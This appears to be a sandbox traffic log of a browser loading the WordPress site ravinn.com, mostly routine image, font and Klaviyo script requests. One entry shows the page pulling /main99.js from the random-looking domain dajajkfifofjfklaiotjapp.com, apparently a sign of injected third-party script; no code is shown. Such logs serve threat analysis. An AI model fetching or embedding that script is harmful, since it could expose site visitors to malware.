Source: global traffic HTTP traffic detected: GET /wp-content/themes/ravinn/js/script.js?v=1743482759 HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo2.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo5-e1701428252408.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/webfonts/fa-solid-900.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /releases/v6.4.2/webfonts/fa-brands-400.woff2 HTTP/1.1Host: use.fontawesome.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://use.fontawesome.com/releases/v6.4.2/css/all.css?ver=6.4.2Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/fender_analytics.611d7935dc9085329d0a.js?cb=1 HTTP/1.1Host: static-tracking.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/QS_logo_large-1-e1705392262535.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/Data3.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/static.4b8f99d71b7685ee4f53.js?cb=1 HTTP/1.1Host: static-tracking.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /main99.js HTTP/1.1Host: dajajkfifofjfklaiotjapp.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/runtime.d6f8c2852d4e7a72345c.js?cb=1 HTTP/1.1Host: static.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /onsite/js/sharedUtils.db6638454dfe7d02bbcd.js?cb=1 HTTP/1.1Host: static.klaviyo.comConnection: keep-aliveOrigin: https://www.ravinn.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo3.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo2.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/AITC.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/logo.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/About-Ravinn.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/Data3.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Team.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/044-R141223.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/The-Latest.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/logo3.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/AITC.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2024/01/logo.png HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/australia.svg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2025/03/VEC_logo_RGB.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/About-Ravinn.svg HTTP/1.1Host: www.ravinn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/veterans.png HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/12/strategy.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; __kla_id=eyJjaWQiOiJNREkxTVdNMk1UZ3RNakJoTWkwME5XWTBMV0ptT0dVdFpEZzBNV1ExTmpjM01ESmsiLCIkcmVmZXJyZXIiOnsidHMiOjE3NDM1NDk2MjcsInZhbHVlIjoiIiwiZmlyc3RfcGFnZSI6Imh0dHBzOi8vd3d3LnJhdmlubi5jb20vIn0sIiRsYXN0X3JlZmVycmVyIjp7InRzIjoxNzQzNTQ5NjI3LCJ2YWx1ZSI6IiIsImZpcnN0X3BhZ2UiOiJodHRwczovL3d3dy5yYXZpbm4uY29tLyJ9fQ==
Source: global traffic HTTP traffic detected: GET /wp-content/uploads/2023/11/Cyber-Threat-Intelligence.jpg HTTP/1.1Host: www.ravinn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.ravinn.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: _ga_63LK6Z20GR=GS1.1.1743549626.1.0.1743549626.0.0.0; _ga=GA1.1.1902210158.1743549627; 